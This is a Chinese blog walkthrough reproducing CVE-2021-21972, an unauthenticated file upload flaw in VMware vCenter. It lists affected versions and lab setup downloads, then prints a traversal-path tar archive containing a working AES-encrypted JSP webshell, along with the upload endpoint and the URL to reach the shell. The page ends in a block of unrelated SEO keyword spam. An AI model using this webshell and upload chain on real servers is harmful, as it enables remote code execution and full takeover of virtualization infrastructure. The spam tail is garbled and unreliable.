千家信息网

如何实现Vmware vcenter未授权任意文件上传CVE-2021-21972复现

发表于:2026-10-31 作者:千家信息网编辑
千家信息网最后更新 2026年10月31日,本篇文章给大家分享的是有关如何实现Vmware vcenter未授权任意文件上传CVE-2021-21972复现,小编觉得挺实用的,因此分享给大家学习,希望大家阅读完这篇文章后可以有所收获,话不多说,
千家信息网最后更新 2026年10月31日如何实现Vmware vcenter未授权任意文件上传CVE-2021-21972复现

本篇文章给大家分享的是有关如何实现Vmware vcenter未授权任意文件上传CVE-2021-21972复现,小编觉得挺实用的,因此分享给大家学习,希望大家阅读完这篇文章后可以有所收获,话不多说,跟着小编一起来看看吧。

Vmware vcenter未授权任意文件上传(CVE-2021-21972 )

一、漏洞简介

VMware是一家云基础架构和移动商务解决方案厂商,提供基于VMware的虚拟化解决方案。

高危严重漏洞:

在 CVE-2021-21972 VMware vCenter Server 远程代码漏洞 中,攻击者可直接通过443端口构造恶意请求,执行任意代码,控制vCenter。

漏洞为任意文件上传:

存在问题的接口为

/ui/vropspluginui/rest/services/uploadova,

完整路径

(https://ip:port/ui/vropspluginui/rest/services/uploadova)

二、影响版本

VMware vCenter Server 7.0系列 < 7.0.U1c

VMware vCenter Server 6.7系列 < 6.7.U3l

VMware vCenter Server 6.5系列 < 6.5 U3n

VMware ESXi 7.0系列 < ESXi70U1c-17325551

VMware ESXi 6.7系列 < ESXi670-202102401-SG

VMware ESXi 6.5系列 < ESXi650-202102101-SG

三、环境准备&漏洞复现

安装EXSI 7.0.0 VMware vSphere虚拟机监控程序(ESXi) 链接:https://cld16.irans3.com/dlir-s3/VMware-VMvisor-Installer-7.0.0-15843807.x86_64.iso VMware-VMvisor-Installer-7.0.0-15843807.x86_64.iso档案大小:350 MB MD5:220d2e87290f50c3508214cadf66b737 SHA1:7fda0401ee1b2f49aae89043f9b2d509cf7e25db 安装:https://blog.51cto.com/10802692/2409826 下载 vCenter Server VMware vCenter Server 链接:https://cld5.irans3.com/dlir-s3/VMware-VCSA-all-7.0.0-15952498.iso VMware-VCSA-all-7.0.0-15952498.iso档案大小:6.42 GB MD5:94bb30ae83cd5f12e2eecce114d43007 SHA1:17aa2b1ee20e977fb4f8f8391563f57c3e456361 安装:https://blog.csdn.net/qq_38028248/article/details/107712839 (环境安装参考来源:作者: print("")师傅环境部署)

midi.tar(后台回复:"vmware")获取

../../usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/42/0/h6ngc.war/resources/0000755000000000000000000000000014015431210027145 5ustar rootroot../../usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/42/0/h6ngc.war/resources/shell.jsp0000644000000000000000000000117114015430711030777 0ustar rootroot<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}/*1kdnwbry2LyI7pyA*/%>

https://ip:port/ui/vropspluginui/rest/services/uploadova

Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36

返回sucess证明上传tar成功

访问shell地址:

https://127.0.0.1/ui/resources/shell.jsp

连接木马shell:

相关命令执行:

以上就是如何实现Vmware vcenter未授权任意文件上传CVE-2021-21972复现,小编相信有部分知识点可能是我们日常工作会见到或用到的。希望你能通过这篇文章学到更多知识。更多详情敬请关注行业资讯频道。

漏洞 文件 环境 代码 大小 方案 更多 档案 知识 篇文章 解决方案 链接 实用 成功 监控程序 一家 作者 厂商 后台 命令 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 互联网 科技 善班互联网科技有限公司 撒么互联网科技公司 四个字互联网科技公司取名 滨湖区互联网智能科技产品供应 广州慧亚互联网科技怎么样 恒生互联网科技指数跳水 深圳市优智互联网科技有限公司 科技类公司包括互联网吗 南博望互联网科技有限公司 美国互联网科技实力 风投北京互联网科技 互联网风格科技公司名称 郑州欣桑互联网科技有限公司 互联网科技手机排行榜 互联网科技和医药行业 科技互联网专业工作会议发言稿 亚光科技低轨卫星互联网 陕西彩京云互联网科技有限公司 科技互联网专业务虚会材料 广州万易互联网科技有限公司 华中科技大学互联网 掌上梦互联网科技 大白互联网科技 科技伦理 互联网公司 深圳卡尔迅互联网科技有限公司怎么样 佩信高科技互联网 迪庆互联网科技招生 翼展科技 首家互联网医院 互联网第三次科技革命特征
0